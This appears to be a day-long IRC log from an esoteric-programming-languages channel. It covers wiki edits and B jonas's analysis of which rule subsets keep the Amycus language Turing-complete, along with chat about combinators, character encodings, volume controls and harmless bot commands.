10:59:39 <fizzie> izabera: The whole premise of the question is faulty; I don't remember forming the words "MOM", "DAD" or "TRAIN" with alphabet blocks. Sorry, can't help you there.
11:05:22 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45484&oldid=45483 * B jonas * (+870)
11:05:50 <Jafet> fungot, we propose you to remind this time for a while.
11:05:50 <fungot> Jafet: at least nobody fnord during kent's summary information) and parsing the useful bits for an instruction
11:23:12 <b_jonas> Ok, now I need two more names. A name for the subset of Amycus without rule 2 and 4; and a name for the subset of Amycus where numbers and lists aren't equivalent.
11:23:51 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45485&oldid=45484 * B jonas * (+10)
11:26:08 <b_jonas> Maybe Amycus Sequentius for the former, and Amycus Bebryx for the latter.
11:33:21 <b_jonas> or I could call the latter Amycus Severus, because it's strictly typed
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11:37:05 <b_jonas> and Amycus Sequenti for the first
11:37:51 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45486&oldid=45485 * B jonas * (+123)
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11:51:50 <HackEgo> [wiki] [[Amycus Severus]] N http://esolangs.org/w/index.php?oldid=45487 * B jonas * (+3284) Created page with "'''Amycus Severus''' is a Turing-equivalent functional programming language that is a restricted variant of [[Amycus]] by [[David Madore]]. == Definition == Amycus Severus ha..."
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12:58:30 <b_jonas> ARGH I HAVE A BUG IN MY DESCRIPTION
12:58:36 <b_jonas> I know how to fix it, but it takes some time.
13:00:43 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45488&oldid=45486 * B jonas * (+116)
13:02:24 <HackEgo> [wiki] [[Amycus Severus]] http://esolangs.org/w/index.php?diff=45489&oldid=45487 * B jonas * (-58)
13:03:40 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45490&oldid=45488 * B jonas * (+26)
13:21:24 <HackEgo> [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45491&oldid=45466 * SilverWingedSeraph * (-1) Fix typos.
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13:27:58 <HackEgo> [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45492&oldid=45491 * SilverWingedSeraph * (+5) Fix vertical bar not being shown.
13:30:21 <HackEgo> [wiki] [[Semantic Brain]] http://esolangs.org/w/index.php?diff=45493&oldid=45492 * SilverWingedSeraph * (-3) Fix conflict in bitshift left and sum (master:eecd157)
13:30:54 <HackEgo> [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45494&oldid=45493 * SilverWingedSeraph * (+0) Fix cum. add. program to work with new addition symbol
13:31:23 <HackEgo> [wiki] [[Semantic Brain]] http://esolangs.org/w/index.php?diff=45495&oldid=45494 * SilverWingedSeraph * (+0)
13:39:45 <HackEgo> [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45496&oldid=45495 * SilverWingedSeraph * (+28)
13:47:52 <b_jonas> OH! also, I'm completely wrong
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13:47:58 <b_jonas> you can't even nth a tuple in Amycus
13:48:03 <b_jonas> at least not in the obvious way
13:48:20 <b_jonas> I think you need the eval rule for it
14:30:01 <b_jonas> it's more complicated to describe properly than I thought
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14:34:45 <FireFly> Hyperamycus or Hyperamicus? the Amycus article links to both; one is a red link
14:41:24 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45497&oldid=45490 * B jonas * (+2185) fix description of how to transform lambda expressions (tbc)
14:42:54 <int-e> @tell boily would the translated chicken be moved to the other side of the road?
14:47:13 <fizzie> "If you wish to join the ?GREAT ILLUMINATI WORLD WIDE?AND BECOME RICH, AND HAVE FAME IN LIFE Contact Us via email: illuminaticonfraternity@aol.com for more information"
14:47:19 <fizzie> How the mighty have fallen.
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15:34:30 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45498&oldid=45497 * B jonas * (+3805)
15:35:32 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45499&oldid=45498 * B jonas * (+0)
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15:36:20 <Taneb> sic transit gloria mundi
15:36:44 <b_jonas> should be much better, though still needs minor fixes from me, and then finding the errors by you
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15:43:47 * oerjan is now using a rented laptop while his own is on service
15:44:10 <oerjan> i see i've got a mail that they found a hard disk sector error
15:45:22 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45500&oldid=45499 * B jonas * (+64)
15:46:14 <oerjan> which is good news: the warranty should cover it; bad news: according to what was said at the shop, it might then take an extra week.
15:46:41 <b_jonas> oerjan: do you understand enough about combinator calculus to know that version with B and C and whatever else as base instead of S? If so, maybe you can tell why rule 0 isn't needed for Amycus.
15:47:05 <oerjan> i haven't looked at those rule 0 etc. things.
15:47:13 <b_jonas> Also, if any of you want to read my writeup about Amycus to tell where I'm writing nonsense, feel free.
15:47:25 <oerjan> but it's BCKW, isn't it
15:47:36 <b_jonas> I think there's more than one base
15:47:44 <oerjan> W f x = f x x, if my recall is right
15:47:47 <b_jonas> I'll have to look it up in the bird book
15:48:09 <b_jonas> B is like B x y z = x (y z) if I understand right
15:48:54 <oerjan> C x y z = x z y, i think
15:49:04 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45501&oldid=45500 * B jonas * (+4)
15:50:03 <b_jonas> https://en.wikipedia.org/wiki/B,C,K,W_system
15:50:16 <oerjan> each of B and C is restricting one of the arguments of S to not being applied to z
15:51:38 * oerjan was worried for a moment when the rented laptop asked for an admin password (which i don't have) to run the putty installer. fortunately just copying putty.exe worked instead.
15:53:30 * oerjan is giving Edge a second chance since he's on a laptop that doesn't contain any of his IE settings anyway.
15:53:50 <oerjan> they seem to have added some tooltips.
15:57:03 <b_jonas> We probably hvae to figure this out fast (in a day or two), because if we don't, then knowing David, he might come up with a ten page long essay clearly explaining the answer, with a detailed introdcution to BCKW calculus to laymen.
15:58:35 <b_jonas> And if he doesn't, then ais523 will give an answer in a few weeks.
15:58:45 <oerjan> it doesn't matter, it will be in french anyway
15:59:11 <b_jonas> oerjan: no, when I ask questions in English, David usually answers in English.
16:00:16 <b_jonas> If I understand correctly, David Madore is native bilingual French and English, and also a polyglot who cares about lots of other languages.
16:02:06 <b_jonas> Mind you, if ais523 answers it, then the answer will be a four line solution with a minimal translation from BCKW or some such thing to Amycus-Sequenti without rule 0, not a detailed essay of the background.
16:05:11 <oerjan> um have you ever seen ais523 write
16:05:57 <b_jonas> oerjan: yeah, probably not really that dense
16:06:04 <oerjan> this laptop has too coarse brightness settings :(
16:06:16 <b_jonas> I keep having that problem with the volume setting on everything
16:06:34 <b_jonas> why can't there be five volume buttons, for fast increase, fast decrease, fine increase, fine decrease, mute?
16:07:19 <b_jonas> (where if you press mute, then press mute again, then it unmutes to the previous level, but if you instead mute then press increase then it increases starting from zero)
16:08:16 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45502&oldid=45501 * B jonas * (+62)
16:10:42 <HackEgo> [wiki] [[Amycus Severus]] http://esolangs.org/w/index.php?diff=45503&oldid=45489 * B jonas * (+12)
16:16:27 <HackEgo> [wiki] [[Hyperamicus]] http://esolangs.org/w/index.php?diff=45504&oldid=45476 * B jonas * (+124) /* Notes */
16:16:52 <FireFly> You know, "increase-when-muted is increase-from-zero" is a great idea actually...
16:17:53 <b_jonas> FireFly: that behavior already exists in some switches. It's the fine and fast controls that aren't used much, and especially not in sound volume controls.
16:18:28 <b_jonas> I think some television sets increase from zero after mute, and the dimmer light switche in my room also does that.
16:19:29 <b_jonas> I think some of the volume and brightness controls are deliberately restricted from below so they don't have to solve dumb customer service problems like "the monitor doesn't work" => "turn on the brightness".
16:19:45 <Jafet> Bah, most people only need two buttons: increase sound power and decrease sound power.
16:20:31 <FireFly> A good knob/wheel would cater for both purposes I think
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16:22:12 <b_jonas> Jafet: no, I need a full turing-complete perl scriptable interface for volume control with a real keyboard and large monitor.
16:22:17 <FireFly> with increase/decrease buttons I find it to take a while to get used to how much a single press affects the current level
16:22:55 <Jafet> (there is also software where the increase is linear, instead of exponential)
16:25:06 <b_jonas> Ok, I'll probably have to look this up in the bird book to understand how this BC stuff works, AND try to figure it out if I can do abstraction elimination without rule 0 that way.
16:26:21 <b_jonas> If I fail, I'll have to wait for David or ais523
16:29:29 <b_jonas> I might also have to implement this transformation stuff, plus write some sample programs, to verify my arguments.
16:33:17 <Taneb> I was tapping on the num pad and my hand was further right than I thought
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16:38:13 <b_jonas> Maybe it's possible to directly transform S and K to Amycus somehow, in some representation.
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16:43:51 <b_jonas> Or maybe it's better to transform B, C, K, W directly?
16:44:39 <b_jonas> or more, (Bxy), (Cx), (Kx), (Wx) or something like that, whatever is enough for the abstraction elimination
16:45:03 <b_jonas> I'll need to read how the abstraction elimination to BCKW works
16:47:05 <b_jonas> let me think. if you don't use rule 2, then rule 5 is the only way to build a new tuple. how can we get that tuple out of it apart from by <5, <0>: r>?
16:48:02 <b_jonas> the rule is E(<5, q, p1, …, pn>, x) = E(q, <E(p1, x), …, E(pn, x)>)
16:48:53 <b_jonas> now if head q is 1, the tuple is thrown away; if head q is 2, the tuple is completely dismantled so building it has no point;
16:49:07 <b_jonas> s/head q is 2/head q is 3/
16:49:37 <b_jonas> that leaves head q as 5 or 6. Is 5 enough?
16:50:56 <b_jonas> with head q = 5, you recursively get the same problem, one level inside, I think
16:51:27 <b_jonas> so you can use some nested levels of <5, q: p> but eventually you have to use rule 6 somehow
16:51:55 <b_jonas> but rule 6 isn't ok either, it also immediately dismantles the lits.
16:52:20 <b_jonas> Then I think rules 1, 3, 5, 6 aren't enough for Turing-completeness.
16:52:33 <b_jonas> Rule 4 doesn't help there.
16:52:49 <b_jonas> And rule 2 alone is very unlikely to help, and is almost certainly not what David thouhgt
16:53:12 <b_jonas> This means I'll have to examine and debug that example program David wrote.
16:53:40 <b_jonas> Although that one might also be using rule 0, because it does have an (1 0) in it
16:54:02 <b_jonas> <1, 0> or <5, <0>> are two ways to generate a zero
16:54:51 <b_jonas> But it looks as if he was using the constant 0 only for the arithmetic,.
16:55:08 <b_jonas> Maybe it's a simple program that doesn't demonstrate enough of Turing?
16:55:21 <b_jonas> But it does recursion, so it has to do _something_.
16:55:31 <Melvar> Yesterday someone seemed kind of unnerved when I explained that numeric char escapes in Haskell are variable-length.
16:56:01 <b_jonas> Can the language still be turing-complete if you can't build new tuples? Unlikely.
16:58:07 <b_jonas> no... that can't work even that way
16:58:34 <b_jonas> I think I'm really misunderstanding something about this language, and should check by debugging later.
17:00:26 <b_jonas> Maybe he's building tuples, but never returns them, but only passes them through rule 5 to other rule 5 and eventually to rule 6? But even then, that can't work.
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17:06:41 <int-e> b_jonas: hmm, here's how you might get the identity from recursion and successor: f <a,b,c> |-> if a = b then c else f <a+2,b+1,c+1>; start with f <1,n+1,0>
17:07:12 <int-e> but I have not thought this through to the end.
17:13:53 <oerjan> Melvar: did you tell them about \& ?
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17:15:28 <Melvar> And I tried to explain about \SO and \SOH but he wasn’t interested.
17:15:36 <oerjan> huh this keyboard seems to be set to norwegian but the main markings are swedish.
17:17:40 <Melvar> I had to translate this Show instance for Idris, it looks kinda goofy with the special cases.
17:18:04 <oerjan> @check \x y -> show (x++y :: String) == init (show x) ++ tail (show y)
17:18:07 <lambdabot> *** Failed! Falsifiable (after 5 tests and 5 shrinks):
17:18:41 <oerjan> me thinks it isn't shrinking hard enough
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17:20:50 <Melvar> By the way, my current Idris project is a thing that will hopefully allow one to type-provide C types into an Idris program.
17:21:06 * oerjan already found enough new annoying quirks in Edge to go back to IE again
17:21:51 <Melvar> If I work really hard at it, it may end up being possible to transport in a C function without ever specifying its type manually.
17:23:36 <oerjan> in the end idris accidentally becomes a type-safe full C compiler
17:30:36 <FireFly> \SO vs. \SOH vs. \SO\&\H seems kind-of silly to me
17:31:10 <FireFly> Although I suppose it makes sense if one really wants named escapes for all ASCII control characters
17:31:35 <mroman> __sync built-ins make no sense except on itaniums, or I'm a mistaken there?
17:31:52 <mroman> all the other architectures have hardware chache protocols that makes them in-sync
17:33:58 <lambdabot> lexical error in string/character literal at character 'N'
17:36:07 <lambdabot> <hint>:1:9: numeric escape sequence out of range at character '0'
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17:50:47 <hppavilion[1]> What's the proper term for a map where keys are values and values are keys; essentially, if m[k] = v, m[v] = k
17:51:28 <Melvar> Doesn’t that in general have to be a pair of maps?
17:51:31 <mroman> so a bi-directional map
17:51:46 <mroman> with forward and reverse lookup
17:52:21 <Melvar> Forming a partial bijection?
17:52:26 <mroman> I think they are called bidirectional maps.
17:52:31 <hppavilion[1]> mroman: Not necessarily forward and reverse lookup; every value needs to be unique.
17:52:50 <hppavilion[1]> mroman: OK. I'll stick with that. I've been calling them Symmetric Dicts, but that might be a term for something else.
17:52:53 <mroman> https://en.wikipedia.org/wiki/Bidirectional_map
17:52:57 <mroman> It's got a WP article.
17:53:24 <hppavilion[1]> I didn't know what to google to find the wiki article xD
17:53:37 <mroman> forward lookup is key -> value, reverse lookup is value -> key
17:53:44 <mroman> at least that's the terminology I use.
17:53:53 <Melvar> Why the hell would one call that a “hash bag” …
17:54:24 <Melvar> A bag is already a thing that could be implemented with hashing.
17:54:42 <mroman> The practice of dangling your hash tables in someone's face.
17:54:45 <hppavilion[1]> mroman: I do use it in a language I'm making called Kastor; you can have maps of the syntax {key<=>value, key2<=>value, etc.}
17:55:18 <hppavilion[1]> And the outer brackets change whether it's ordered or not
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18:13:38 <HackEgo> [wiki] [[Symmetry]] N http://esolangs.org/w/index.php?oldid=45505 * Hppavilion1 * (+2885) Tokens
18:14:58 <HackEgo> [wiki] [[Symmetry]] http://esolangs.org/w/index.php?diff=45506&oldid=45505 * Hppavilion1 * (+17) Fixed formatting
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19:07:36 <HackEgo> [wiki] [[Semantic Brain]] http://esolangs.org/w/index.php?diff=45507&oldid=45496 * SilverWingedSeraph * (+15) Fix cumulative addition program to not be quite as broken.
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19:44:15 <HackEgo> [wiki] [[Symmetry]] http://esolangs.org/w/index.php?diff=45508&oldid=45506 * Hppavilion1 * (+596) Grammar, functions
19:44:43 <HackEgo> [wiki] [[Symmetry]] http://esolangs.org/w/index.php?diff=45509&oldid=45508 * Hppavilion1 * (+1) /* Grammar */ Formatting
19:49:02 <b_jonas> int-e, oerjan, ais523 (if he's here): I was thinking more about the Amycus language, and it's VERY interesting, for all the good and esoteric reasons
19:49:31 <b_jonas> in particular, if you start restricting it by omitting rules from Amycus or from Amycus Severus, you get interesting and different subsets
19:49:36 <b_jonas> I'll try to describe these later
19:49:42 <b_jonas> I found some very interesting things
19:51:10 <b_jonas> Specifically, David writes both that rule 0 is probably not needed and that programming Amycus is somewhat similar to programming unlambda. It turns out that these are true separately, but not together: programming Amycus without rule 0 is no longer similar to programming unlambda
19:51:56 <b_jonas> Omitting rule 0 but keeping rule 2 and 4 still results in a Turing-complete language, but one where you can't just translate lambda expressions the way I did,
19:52:44 <b_jonas> because it can no longer manipulate recursive tree structures (of lists or functions), but can still manipulate numbers (arbitrarily large) enough to get at least something like fractran.
19:53:34 <b_jonas> If you omit rule 0 and 2, you get something that is no longer Turing complete, and it's in a sense exactly primitive recursive,
19:54:11 <b_jonas> That's still true if besides 0 and 2, you omit 4 and make the language Severus.
19:54:38 <b_jonas> I was also thinking of omitting rule 1, which has interesting consequences as you combine with the variants, but I don't completely see all combinations.
19:55:29 <b_jonas> I think omitting any of rule 3, 5, 6 probably immediately reduces the language to not powerful enough, but I'm not quite sure in this.
19:57:41 <b_jonas> You have 9 rules to start from (the 8 numbered rules, plus the Severus variant), can try to keep any subset of them, and examine the resulting language.
19:59:44 <b_jonas> Argh, I messed up, I randomly call the hyper language Hyperamicus and Hyperamycus. It should be the latter.
20:00:22 <HackEgo> [wiki] [[Hyperamicus]] http://esolangs.org/w/index.php?diff=45510&oldid=45504 * B jonas * (+0) spelling
20:00:30 <HackEgo> [wiki] [[Special:Log/move]] move * B jonas * moved [[Hyperamicus]] to [[Hyperamycus]]
20:00:59 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45513&oldid=45502 * B jonas * (+0) spelling
20:01:09 <b_jonas> I always have trouble with words that contain "y" as a vowel.
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20:11:30 <hppavilion[1]> Now I have to convert every single font for WalText2 to it!
20:11:50 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45514&oldid=45481 * Blakusl * (+943) /* Parsing */
20:20:30 <b_jonas> hppavilion[1]: what's that?
20:22:19 <izabera> b_jonas: it renders text, duh
20:23:13 <b_jonas> hppavilion[1]: do you have any new sample output screenshots?
20:24:34 <hppavilion[1]> b_jonas: Yep. I'll get a screenshot when I'm on unfiltered wifi.
20:26:27 <hppavilion[1]> b_jonas: Would you like to see an example of font code?
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20:43:00 <izabera> github's new look is cooool
20:55:32 <izabera> awkward moment when two complete strangers star my random brainstorms on github and i don't even know why
21:06:08 <izabera> https://github.com/blog/2085-a-new-look-for-repositories
21:07:01 <hppavilion[1]> izabera: Ah. Doesn't look too much different to me xD
21:10:02 <HackEgo> [wiki] [[Amycus Severus]] http://esolangs.org/w/index.php?diff=45515&oldid=45503 * B jonas * (+375)
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21:15:02 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45516&oldid=45513 * B jonas * (+446)
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21:16:36 <b_jonas> I'm still editing this stuff
21:16:43 <b_jonas> I have a lot to say, and might not say all of it today
21:16:52 <b_jonas> Amycus proved to be really interesting
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21:38:57 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45517&oldid=45516 * B jonas * (+326)
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21:57:53 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45518&oldid=45514 * Blakusl * (+2253) /* Input/Output */
21:58:59 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45519&oldid=45517 * B jonas * (+196)
22:03:10 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45520&oldid=45519 * B jonas * (-13)
22:03:39 <HackEgo> [wiki] [[Amycus Severus]] http://esolangs.org/w/index.php?diff=45521&oldid=45515 * B jonas * (-4)
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22:24:42 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45522&oldid=45520 * B jonas * (+582)
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23:04:23 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45523&oldid=45518 * Blakusl * (+1113) /* Loops */
23:05:17 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45524&oldid=45522 * B jonas * (+1845)
23:05:32 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45525&oldid=45523 * Blakusl * (-17) /* Input/Output */
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23:58:01 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45526&oldid=45524 * B jonas * (+1062)
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00:01:03 <boily> b_jhellonas. unuglifying the wiki?
00:01:09 <lambdabot> oerjan said 21h 24m 17s ago: no, my computer _is_ still working enough to copy more
00:01:10 <lambdabot> int-e said 9h 18m 15s ago: would the translated chicken be moved to the other side of the road?
00:01:30 <b_jonas> boily: unuglifying AND adding new content
00:01:43 <boily> int-ello. only if the road is affine.
00:04:17 <b_jonas> boily: Amycus is a new language (as in, it was published a few days ago), and has some very interesting properties that I'm still trying to figure out
00:04:30 <b_jonas> I've already figured out a lot, but not everything of course
00:04:46 <b_jonas> (you probably can't figure out everything, because it's an expressive enough programming language)
00:05:42 <boily> and figuring everything probably is isomorphic to the halting problem.
00:08:23 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45527&oldid=45526 * B jonas * (+17949)
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00:11:22 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45528&oldid=45527 * B jonas * (-18043)
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00:29:24 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45529&oldid=45528 * B jonas * (+746)
00:32:18 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45530&oldid=45529 * B jonas * (+0)
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00:44:31 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45531&oldid=45530 * B jonas * (+107)
00:49:36 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45532&oldid=45525 * Blakusl * (+508) /* Interpreters */
00:49:59 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45533&oldid=45532 * Blakusl * (+6) /* Interpreters */
00:53:15 <HackEgo> [wiki] [[BotEngine]] http://esolangs.org/w/index.php?diff=45534&oldid=45304 * 69.138.247.193 * (+16) Added second infinite loop option
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01:33:47 <quintopia> i hope you dont mind my golfing all the aubergine examples
01:34:02 <quintopia> im thinking about aubergine derivatives
01:34:16 * boily feels all warm and fuzzy ^^
01:34:23 <quintopia> did you realize the : is not necessary for TCness?
01:37:30 <tswett> I feel like I need to create another esoteric language.
01:39:40 <boily> because lazyness, p < 0.05.
01:40:18 <quintopia> i had to add extra code to prevent o being used elsewhere.
01:41:21 <boily> because extreme laziness :D
01:41:30 <boily> (did you just laugh with w?)
01:42:15 <tswett> Trying to think of esolang ideas.
01:42:26 <tswett> Man, /// has got to be one of the best esolangs of all time.
01:44:07 <boily> @tell oerjan (uhm. disregard the previous HAH. I'm still having trouble with your family name not being Johansen.)
01:45:09 <tswett> Neural nets are all the rage, right? Could I make an esolang based on backpropagation?
01:46:12 <quintopia> boily: i'm going to make like five aubergine derivatives :p
01:48:15 <tswett> Here we go. Thue where instead of a string, you have a portion of a virtual knot. The generalized Reidemeister moves are implicit.
01:48:18 <tswett> There, there's the language.
01:48:26 <tswett> Someone write the spec please thanks.
01:49:29 <boily> potential names: Anatabine, cuscohygrine, solauricidine, solauricine, tomato, potato, datura, hyoscyameæ...
01:50:06 <HackEgo> words ${1---eng-1M --esolangs 20} | sed -re 's/( |$)/coin\1/g' | rainwords
01:51:26 <HackEgo> bin/langs: ERROR: cannot open `bin/langs' (No such file or directory)
01:51:28 <tswett> `run echo 'words ${1---eng-1M --esolangs 20} | sed -re '\''s/( |$)/lang\1/g'\' > bin/langs
01:51:32 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/langs: Permission denied \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/bin/langs: cannot execute: Permission denied
01:51:39 <tswett> `run chmod +x bin/langs
01:51:44 <HackEgo> ddrenlang justoelang stalang suzylang wikingarchalang nandmuralang fureheanalang drailang baktariolang unineanitestelysinglefootorycogsdaulang spagheadlang kipjlang skolang maddulang tyalang toilang verblang malitylang syncorrlang agrava2klang
01:52:02 <tswett> Unineanitestelysinglefootorycogsdaulang.
01:52:22 <tswett> Or maybe I should call it "oh nooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodland".
01:52:58 <Phantom_Hoover> is that like CHEF but it has an extra instruction for leaving the cake out in the rain?
01:53:59 <boily> speaking of long ooooooooo names: who has nooodl morphed into again?
01:54:25 <HackEgo> noooodl is the correct spelling
01:54:43 <HackEgo> maur is the correct spelling
01:55:47 <shachaf> boily: you can reward me with a pooch pic hth
01:56:10 <tswett> `thanks noooooooooooooooooooooooooooooooooooooooooooooooooooooooodland
01:56:11 <HackEgo> Thanks, noooooooooooooooooooooooooooooooooooooooooooooooooooooooodland. Thoooooooooooooooooooooooooooooooooooooooooooooooooooooooodland.
01:56:32 <quintopia> boily: maybe aubergine-0, aubergine unlimited or just "Purple"
01:56:53 <shachaf> There's a song about potatoes, tomatoes, gravy and peas.
01:56:59 <shachaf> @google potatoes tomatoes gravy and peas
01:57:00 <lambdabot> https://www.youtube.com/watch?v=W6R5x1VP2b4
01:57:07 <boily> shachaf: did you watch the video I posted yesterday? it has wigged pooches. https://www.youtube.com/watch?v=Seh9_sFv1Z4
01:57:42 <boily> quintopia: Purple.
02:00:30 <boily> «un cabot à perruque».
02:01:29 <shachaf> It turns out that the pooch game is wigged against you.
02:02:33 * boily thwacks shachaf with a sailor moon wigged mapole
02:04:21 <shachaf> that is a juwy-wigged contwaption
02:04:40 <boily> in the name of the Moon Moon, please stop!
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02:10:57 * boily grabbes la clef à tswett to thwacke shachaf avec
02:11:33 <tswett> ATWP I got it wrong. It's "limite à gauche".
02:14:20 <boily> what is being limited to the left?
02:14:47 <tswett> E que voyer. Bonne fortune. Parlaz français mais bon que je, porquoi je simplement supone.
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02:16:07 <boily> tswett uses confusion. it's super effective.
02:17:31 <quintopia> you're never online when work is over
02:19:23 <quintopia> i'm going to write the laziest version of aubergine: dedicated symbols for commands, all alphabet is registers and can be dereferenced. Due to lack of restrictions, implemementation could be cgolfed to a few short lines.
02:20:29 <quintopia> And then extend it: all digits represent themselves, all symbols that look like standard operations are commands that do those things
02:20:41 <boily> this sounds like betterave...
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02:22:32 <quintopia> this would definitely be auberginey
02:22:44 <quintopia> still very few commands, still only 2-arity
02:23:28 <quintopia> but just set up to make the interpreter as small as possible
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02:23:48 <quintopia> (and removing some annoying limitations)
02:23:59 <quintopia> also are you on my half of this netsplit?
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02:25:41 <boily> (I have seen things... things I just choose not to talk about... Things that seem to offend everybody... Welcome to my study ♪)
02:28:18 <boily> time to compose the application of my head on my pillow.
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02:57:10 <izabera> over 3k points on codeeval \o/
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03:09:22 <hppavilion[1]> Is there something akin to complex numbers for angles I can use to represent the (start, end) points for arcs and something for the radii of arcs and ellarcs?
03:12:45 <hppavilion[1]> izabera: But those don't seem good for representing the start and end points for angles.
03:13:12 <izabera> you can write them in polar form
03:13:49 <izabera> i don't know how to type greek letters
03:14:00 <izabera> |z| (cos(phi)+ i sin(phi))
03:14:27 <izabera> i can't believe that i can type đ but not phi
03:41:44 <FreeFull> I could map the extra key in the top left of my laptop to dead_greek
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03:57:43 <izabera> i mapped rwin to compose, guess right ctrl can become dead_greek
04:03:37 <izabera> https://github.com/dscharrer/void/tree/master/xkb oh you can add your own sequences
04:17:22 <\oren\> I was trying to type something in greek then I somehow lost it
04:17:55 <izabera> get an editor that can undo your changes?
04:19:31 <\oren\> I can type greek letters by typing their names in japanese
04:21:16 <\oren\> i-ta epushiron ramuda ramuda omikuron
04:23:46 <izabera> sorry i forgot about the lamda calculus
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04:26:06 <\oren\> arufa be-ta ganma deruta epushiron ze-ta e-ta te-ta iota kappa ramuda myu- nyu- kushi- omikuron pai ro- shiguma tau yupushiron fai ki- pushi- omega
04:32:04 <izabera> i also find confusing pai and fai but that's italian's fault
04:33:05 <\oren\> kushi- can also be gotten with kusai
04:34:17 <\oren\> however, kusai means "smelly" in japanese 臭い
04:37:13 <\oren\> μν -> in english, mu and nu
04:40:21 <\oren\> hmm can i type a qoppa?
04:41:20 <\oren\> apparently not. makes sense, qoppa isn't in Shift-JIS
04:42:50 <\oren\> I remembered that Shift-JIS has cyrillic
04:45:48 <pikhq_> Why, exactly, does it have Cyrillic?
04:46:21 <pikhq_> Aside from "why not", which might be the case...
04:47:22 <\oren\> pikhq_: argh, I donn't know. both greek and cyrillic are treated as categories of kanji (they are double-byte characters)
04:47:55 <\oren\> japanese fixed width fonts like MS Gothic have them as wide
04:49:20 <pikhq_> Though not much tends to rely on that, thankfully.
04:50:12 <pikhq_> (Shift-JIS art relies on the metrics, but Shift-JIS art uses MS PGothic, not MS Gothic.)
04:51:36 <\oren\> hmm, i don't seem to be able to type е
04:53:31 <lifthrasiir> pikhq_: many DBCS tends to have many other characters besides from the original script. for example, KS X 1001 has kanas, greeks, cyrillics and extended latins.
04:54:19 <pikhq_> Not like they had better uses for the space.
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04:54:46 <\oren\> well eventually they started filling in the spare space with emoji
04:55:09 <lifthrasiir> when you have tons of space (94 by 94) you can give some room for other scripts
04:55:25 <pikhq_> Emoji weren't really in any DBCS used in more than one system though.
04:55:40 <lifthrasiir> yeah, Emojis were originally encoded as PUA
04:55:51 <pikhq_> (each cell network had their own mapping in the DBCS or Unicode PUAs)
04:55:53 <lifthrasiir> (and escape codes and HTMLs, they were actually implementation details)
04:57:43 <pikhq_> And then they go in Unicode because seriously, characters that don't go in Unicode is nonsense.
04:59:52 <Jafet> We needed universal standard platform-independent emoji.
05:00:08 <pikhq_> Yes, this was in fact a pressing need for the Japanese market.
05:37:27 * Sgeo_ would prefer to have emoji than things that interpret emoticons
05:37:34 <Sgeo_> Although, emoticons are easier to type.
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07:41:50 <hppavilion[1]> I'm considering adding Roulettes and similar things (think Spirographs) to WalText2i
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09:15:47 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45535&oldid=45531 * B jonas * (+1247)
09:16:11 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45536&oldid=45535 * B jonas * (-6) /* TODO earlier notes */
09:45:39 <HackEgo> [wiki] [[Special:Log/newusers]] create * Bas * New user account
09:46:41 <lambdabot> boily said 8h 2m 34s ago: (uhm. disregard the previous HAH. I'm still having trouble with your family name not being Johansen.)
09:48:35 <oerjan> @tell boily i think you're still confused, at any rate.
09:49:05 <oerjan> @tell boily it _is_ johansen hth
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10:22:08 <b_jonas> I wonder how much David deliberately chose to define Amycus to be so interesting, and how much is an accident.
10:22:38 <b_jonas> fungot, how much of the esolang do you think was deliberate?
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10:30:43 <HackEgo> [wiki] [[Binerdy]] N http://esolangs.org/w/index.php?oldid=45537 * Bas * (+2160) Created page with "'''Binerdy''' was created by [[user:Bas]] to reminiscence the old days, when computers only understood zeroes and ones ==Language overview== A Binerdy program only knows of ..."
10:36:46 <oerjan> new puzzle in the tatham collection...
10:48:38 <oerjan> hm it's not immediately obvious how to deduce much from this...
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10:54:54 * oerjan sees the solution but stubbornly wants to prove it unique
10:55:38 <oerjan> once more with feeling
10:57:01 <oerjan> argh it's hard not to accidentally apply the intuitions from playing too much Loopy :P
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11:04:37 <oerjan> oh wait it's 6 per region now
